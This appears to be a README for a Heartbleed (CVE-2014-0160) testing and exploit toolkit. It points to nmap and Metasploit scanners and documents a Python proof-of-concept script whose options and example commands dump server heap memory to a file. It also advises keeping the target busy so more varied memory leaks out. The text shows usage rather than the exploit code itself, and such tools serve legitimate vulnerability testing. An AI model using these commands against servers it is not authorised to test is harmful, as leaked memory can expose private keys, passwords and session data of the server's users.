HeartBleed Tester & Exploit  NB Nearly all the tools (nmap, metasploit, nessus, even burp) have the most up to date versions of their scanners. These tools were released at the early stages when tools were still being developed. Rather use those than these now. Tool Guide      If you want to mass scan, the NMAP script is currently your best bet.     For the largest number of protocols supports (STARTTLS) check the modified Metasploit script     If you want to actually exploit, use the python script (mods required for STARTTLS on non-smtp)  Python Tool  Usage: heartbleed-poc.py server [options]  Test for SSL heartbeat vulnerability (CVE-2014-0160)  Options: -h, --help show this help message and exit -p PORT, --port=PORT TCP port to test (default: 443) -n NUM, --num=NUM Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1) -f FILE, --file=FILE Filename to write dumped memory too (default: dump.bin) -q, --quiet Do not display the memory dump -s, --starttls Check STARTTLS (smtp only right now) Examples      Normal scan, will hit port 443, with 1 iteration: python heartbleed-poc.py example.com      Dump memory scan, will make 100 request and put the output in the binary file dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com  The make sure you get different parts of the HEAP, make sure the server is busy, or you end up with repeat repeat.      Check a mail server with STARTTLS (i.e. port 25): python heartbleed-poc.py -s -p 25 example.com